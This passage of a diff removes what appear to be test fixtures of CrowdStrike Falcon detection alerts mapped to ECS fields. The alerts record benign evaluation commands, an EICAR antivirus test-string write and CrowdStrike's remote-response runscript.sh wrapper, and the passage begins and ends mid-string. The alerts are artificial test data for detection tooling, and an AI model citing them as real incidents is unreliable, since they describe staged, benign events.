detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10305,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43448891811,\"ProcessStartTime\":1752575354,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575404000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021265,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 47,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "645b4fecb42fb954858850fe127ceb98",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "name": "dave-win10-3"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "cmd",
-                    "crowdstrike_test_medium"
-                ],
-                "command_line": "cmd  crowdstrike_test_medium",
-                "entity_id": "43448891811",
-                "executable": "cmd",
-                "name": "cmd.exe",
-                "parent": {
-                    "args": [
-                        "cmd",
-                        "crowdstrike_test_high"
-                    ],
-                    "command_line": "cmd  crowdstrike_test_high",
-                    "entity_id": "43447659975",
-                    "executable": "cmd",
-                    "pid": 43447659975
-                },
-                "pid": 43448891811,
-                "start": "2025-07-15T10:29:14.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
-                    "645b4fecb42fb954858850fe127ceb98"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Falcon Overwatch"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious Activity"
-                    ]
-                }
-            },
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2025-07-15T10:29:44.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42950506623",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448",
-                    "DataDomains": "Endpoint",
-                    "Description": "For evaluation only - benign, no action needed.",
-                    "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
-                    "GrandparentImageFileName": "explorer.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                    "HostGroups": [
-                        "6b15afc3ea3a42ed810b5c163e490a9d"
-                    ],
-                    "MACAddress": "ba-d0-00-ba-d0-00",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "cmd.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10197",
-                    "PlatformId": "0",
-                    "PlatformName": "Windows",
-                    "SensorId": "cff45d56127743a593792fb968dac907",
-                    "Severity": 30,
-                    "SeverityName": "Low",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 2021264,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-15T10:29:44.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42950506623\",\"CommandLine\":\"choice  /m crowdstrike_sample_detection\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448\",\"DataDomains\":\"Endpoint\",\"Description\":\"For evaluation only - benign, no action needed.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"ce0219f7ab9077db1c089a48eaa82eb1\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10197,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43438097407,\"ProcessStartTime\":1752575318,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575384000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021264,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "ce0219f7ab9077db1c089a48eaa82eb1",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930"
-                },
-                "name": "choice.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "name": "dave-win10-3"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "choice",
-                    "/m",
-                    "crowdstrike_sample_detection"
-                ],
-                "command_line": "choice  /m crowdstrike_sample_detection",
-                "entity_id": "43438097407",
-                "executable": "choice",
-                "name": "choice.exe",
-                "parent": {
-                    "args": [
-                        "\"C:\\Windows\\system32\\cmd.exe\""
-                    ],
-                    "command_line": "\"C:\\Windows\\system32\\cmd.exe\"",
-                    "entity_id": "43425257674",
-                    "executable": "\"C:\\Windows\\system32\\cmd.exe\"",
-                    "pid": 43425257674
-                },
-                "pid": 43438097407,
-                "start": "2025-07-15T10:28:38.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930",
-                    "ce0219f7ab9077db1c089a48eaa82eb1"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Malware"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious File"
-                    ]
-                }
-            },
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2025-07-03T09:09:29.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088",
-                    "DataDomains": "Endpoint",
-                    "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
-                    "GrandparentCommandLine": "falcon-sensor-bpf",
-                    "GrandparentImageFileName": "falcon-sensor-bpf17804",
-                    "GrandparentImageFilePath": "/opt/CrowdStrike/falcon-sensor-bpf17804",
-                    "HostGroups": [
-                        "5b2e67ccb1de4ac0b1c49225c8fcb132"
-                    ],
-                    "MACAddress": "52-54-00-58-b6-5e",
-                    "Objective": "Follow Through",
-                    "ParentImageFileName": "bash",
-                    "ParentImageFilePath": "/usr/bin/bash",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "30195",
-                    "PlatformId": "3",
-                    "PlatformName": "Linux",
-                    "SensorId": "1d58fa2265b540b79cd057e8fa798e4d",
-                    "Severity": 10,
-                    "SeverityName": "Informational",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1962865,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-03T09:09:29.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"1d58fa2265b540b79cd057e8fa798e4d\",\"AggregateId\":\"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364\",\"CommandLine\":\"/bin/bash -c printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com /bin/bash\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"bash\",\"FilePath\":\"/usr/bin/bash\",\"GrandParentCommandLine\":\"falcon-sensor-bpf\",\"GrandParentImageFileName\":\"falcon-sensor-bpf17804\",\"GrandParentImageFilePath\":\"/opt/CrowdStrike/falcon-sensor-bpf17804\",\"HostGroups\":\"5b2e67ccb1de4ac0b1c49225c8fcb132\",\"Hostname\":\"cs-elastic\",\"LocalIP\":\"192.168.64.5\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"52-54-00-58-b6-5e\",\"MD5String\":\"21cdb844225f8dc4ea6e9f80f9940a2b\",\"Name\":\"Attacker Methodology\",\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"/bin/bash --noprofile --norc -c #!/bin/bash\\n# SYNOPSIS\\n#    Run a bash script with specified command line and timeout\\n# DESCRIPTION\\n#   CrowdStrike Real Time Response command\\n# PARAMETER WD\\n#    Current working directory\\n# PARAMETER Param1\\n#    Script body - Required\\n# PARAMETER Param2\\n#    Command line sent to script\\n# PARAMETER Param3\\n#    Local path - path to local file to be used as script body\\n# PARAMETER Param4\\n#    Timeout in seconds\\n# NOTES\\n#    File Name  : runscript.sh\\n#    Contact    : support@crowdstrike.com\\n#    Copyright  : CrowdStrike 2020\\n# LINK\\n#    https://www.crowdstrike.com/\\n\\nset -euo pipefail\\nshopt -s extglob\\n\\ncommand=runscript\\n\\nfunction die\\n{\\n    echo \\\"$command: $1\\\" >&2\\n    exit 1\\n}\\n\\nfunction err_handler()\\n{\\n    # Rewrite the error message to remove the internal command prefix\\n    echo \\\"$command:${1#*cat:}\\\" >&2\\n}\\ntrap 'err_handler \\\"$script\\\"' ERR\\n\\nfunction get_arg() {\\n    eval set -- \\\"$1\\\"\\n    echo \\\"$@\\\"\\n}\\n\\nscript=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script=\\\"$1\\\"\\n    shift\\nfi\\n\\nscript_args=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script_args=\\\"$1\\\"\\n    shift\\nfi\\n\\n# following Windows behavior where HostPath clobbers Raw\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script_path=\\\"$(get_arg \\\"$1\\\")\\\"\\n    if [ -n \\\"$script_path\\\" ]; then\\n        script=\\\"$(/bin/cat \\\"$script_path\\\" 2>&1)\\\"\\n    fi\\n    shift\\nfi\\n\\ntimeout=60\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    if [ -n \\\"$1\\\" ]; then\\n        timeout=\\\"$1\\\"\\n    fi\\n    shift\\nfi\\n\\nif [ -z \\\"$script\\\" ]; then\\n    die \\\"Either -Raw or -HostPath must be specified\\\"\\nfi\\n\\nif [[ \\\"$timeout\\\" =~ .*[^0-9].* ]] || [ \\\"$timeout\\\" -eq 0 ]; then\\n    die \\\"Timeout must be a positive integer\\\"\\nfi\\n\\neval set -- \\\"$script_args\\\"\\n/bin/bash -c \\\"$script\\\" /bin/bash \\\"$@\\\" &\\npid=$!\\n\\nfunction get_time()\\n{\\n    sed -n '1s/\\\\([0-9]\\\\+\\\\)\\\\.\\\\([0-9][0-9]\\\\).*/\\\\1\\\\2/p' /proc/uptime\\n}\\n\\nstart_time=$(get_time)\\nlast_print_time=$start_time\\nwait_interval=0.1\\nprint_interval=5\\nresolution=100\\nwhile kill -0 $pid 2> /dev/null ; do\\n    current_time=$(get_time)\\n    if ((current_time - start_time >= timeout*resolution)); then\\n        kill -9 $pid >/dev/null 2>&1\\n        echo \\\"$command: Timed out waiting for script to exit\\\" >&2\\n        kill -9 -$$ >/dev/null 2>&1\\n    fi\\n    if ((current_time - last_print_time >= print_interval*resolution)); then\\n        printf %b '\\\\xe2\\\\x80\\\\x8b' # hex for unicode '\\\\u200b' for backward compatibility\\n        last_print_time=$current_time\\n    fi\\n    /bin/sleep $wait_interval\\ndone\\n /bin/bash printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com         \",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1751532935654264600,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":30195,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1751532935,\"ProcessId\":1751532935660927000,\"ProcessStartTime\":1751532935,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"root\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751533769000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1962865,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "21cdb844225f8dc4ea6e9f80f9940a2b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d"
-                },
-                "name": "bash",
-                "path": "/usr/bin/bash"
-            },
-            "host": {
-                "name": "cs-elastic"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "/bin/bash",
-                    "-c",
-                    "printf",
-                    "\"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\"",
-                    ">",
-                    "eicar.com",
-                    "/bin/bash"
-                ],
-                "command_line": "/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash",
-                "end": "2025-07-03T08:55:35.000Z",
-                "entity_id": "1751532935660927000",
-                "executable": "/bin/bash",
-                "name": "bash",
-                "parent": {
-                    "args": [
-                        "/bin/bash",
-                        "--noprofile",
-                        "--norc",
-                        "-c",
-                        "#!/bin/bash\n#",
-                        "SYNOPSIS\n#",
-                        "Run",
-                        "a",
-                        "bash",
-                        "script",
-                        "with",
-                        "specified",
-                        "command",
-                        "line",
-                        "and",
-                        "timeout\n#",
-                        "DESCRIPTION\n#",
-                        "CrowdStrike",
-                        "Real",
-                        "Time",
-                        "Response",
-                        "command\n#",
-                        "PARAMETER",
-                        "WD\n#",
-                        "Current",
-                        "working",
-                        "directory\n#",
-                        "PARAMETER",
-                        "Param1\n#",
-                        "Script",
-                        "body",
-                        "-",
-                        "Required\n#",
-                        "PARAMETER",
-                        "Param2\n#",
-                        "Command",
-                        "line",
-                        "sent",
-                        "to",
-                        "script\n#",
-                        "PARAMETER",
-                        "Param3\n#",
-                        "Local",
-                        "path",
-                        "-",
-                        "path",
-                        "to",
-                        "local",
-                        "file",
-                        "to",
-                        "be",
-                        "used",
-                        "as",
-                        "script",
-                        "body\n#",
-                        "PARAMETER",
-                        "Param4\n#",
-                        "Timeout",
-                        "in",
-                        "seconds\n#",
-                        "NOTES\n#",
-                        "File",
-                        "Name",
-                        ":",
-                        "runscript.sh\n#",
-                        "Contact",
-                        ":",
-                        "support@crowdstrike.com\n#",
-                        "Copyright",
-                        ":",
-                        "CrowdStrike",
-                        "2020\n#",
-                        "LINK\n#",
-                        "https://www.crowdstrike.com/\n\nset",
-                        "-euo",
-                        "pipefail\nshopt",
-                        "-s",
-                        "extglob\n\ncommand=runscript\n\nfunction",
-                        "die\n{\n",
-                        "echo",
-                        "\"$command:",
-                        "$1\"",
-                        ">&2\n",
-                        "exit",
-                        "1\n}\n\nfunction",
-                        "err_handler()\n{\n",
-                        "#",
-                        "Rewrite",
-                        "the",
-                        "error",
-                        "message",
-                        "to",
-                        "remove",
-                        "the",
-                        "internal",
-                        "command",
-                        "prefix\n",
-                        "echo",
-                        "\"$command:${1#*cat:}\"",
-                        ">&2\n}\ntrap",
-                        "'err_handler",
-                        "\"$script\"'",
-                        "ERR\n\nfunction",
-                        "get_arg()",
-                        "{\n",
-                        "eval",
-                        "set",
-                        "--",
-                        "\"$1\"\n",
-                        "echo",
-                        "\"$@\"\n}\n\nscript=\nif",
-                        "[",
-                        "\"$#\"",
-                        "-ge",
-                        "1",
-                        "];",
-                        "then\n",
-                        "script=\"$1\"\n",
-                        "shift\nfi\n\nscript_args=\nif",
-                        "[",
-                        "\"$#\"",
-                        "-ge",
-                        "1",
-                        "];",
-                        "then\n",
-                        "script_args=\"$1\"\n",
-                        "shift\nfi\n\n#",
-                        "following",
-                        "Windows",
-                        "behavior",
-                        "where",
-                        "HostPath",
-                        "clobbers",
-                        "Raw\nif",
-                        "[",
-                        "\"$#\"",
-                        "-ge",
-                        "1",
-                        "];",
-                        "then\n",
-                        "script_path=\"$(get_arg",
-                        "\"$1\")\"\n",
-                        "if",
-                        "[",
-                        "-n",
-                        "\"$script_path\"",
-                        "];",
-                        "then\n",
-                        "script=\"$(/bin/cat",
-                        "\"$script_path\"",
-                        "2>&1)\"\n",
-                        "fi\n",
-                        "shift\nfi\n\ntimeout=60\nif",
-                        "[",
-                        "\"$#\"",
-                        "-ge",
-                        "1",
-                        "];",
-                        "then\n",
-                        "if",
-                        "[",
-                        "-n",
-                        "\"$1\"",
-                        "];",
-                        "then\n",
-                        "timeout=\"$1\"\n",
-                        "fi\n",
-                        "shift\nfi\n\nif",
-                        "[",
-                        "-z",
-                        "\"$script\"",
-                        "];",
-                        "then\n",
-                        "die",
-                        "\"Either",
-                        "-Raw",
-                        "or",
-                        "-HostPath",
-                        "must",
-                        "be",
-                        "specified\"\nfi\n\nif",
-                        "[[",
-                        "\"$timeout\"",
-                        "=~",
-                        ".*[^0-9].*",
-                        "]]",
-                        "||",
-                        "[",
-                        "\"$timeout\"",
-                        "-eq",
-                        "0",
-                        "];",
-                        "then\n",
-                        "die",
-                        "\"Timeout",
-                        "must",
-                        "be",
-                        "a",
-                        "positive",
-                        "integer\"\nfi\n\neval",
-                        "set",
-                        "--",
-                        "\"$script_args\"\n/bin/bash",
-                        "-c",
-                        "\"$script\"",
-                        "/bin/bash",
-                        "\"$@\"",
-                        "&\npid=$!\n\nfunction",
-                        "get_time()\n{\n",
-                        "sed",
-                        "-n",
-                        "'1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p'",
-                        "/proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile",
-                        "kill",
-                        "-0",
-                        "$pid",
-                        "2>",
-                        "/dev/null",
-                        ";",
-                        "do\n",
-                        "current_time=$(get_time)\n",
-                        "if",
-                        "((current_time",
-                        "-",
-                        "start_time",
-                        ">=",
-                        "timeout*resolution));",
-                        "then\n",
-                        "kill",
-                        "-9",
-                        "$pid",
-                        ">/dev/null",
-                        "2>&1\n",
-                        "echo",
-                        "\"$command:",
-                        "Timed",
-                        "out",
-                        "waiting",
-                        "for",
-                        "script",
-                        "to",
-                        "exit\"",
-                        ">&2\n",
-                        "kill",
-                        "-9",
-                        "-$$",
-                        ">/dev/null",
-                        "2>&1\n",
-                        "fi\n",
-                        "if",
-                        "((current_time",
-                        "-",
-                        "last_print_time",
-                        ">=",
-                        "print_interval*resolution));",
-                        "then\n",
-                        "printf",
-                        "%b",
-                        "'\\xe2\\x80\\x8b'",
-                        "#",
-                        "hex",
-                        "for",
-                        "unicode",
-                        "'\\u200b'",
-                        "for",
-                        "backward",
-                        "compatibility\n",
-                        "last_print_time=$current_time\n",
-                        "fi\n",
-                        "/bin/sleep",
-                        "$wait_interval\ndone\n",
-                        "/bin/bash",
-                        "printf",
-                        "\"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\"",
-                        ">",
-                        "eicar.com"
-                    ],
-                    "command_line": "/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    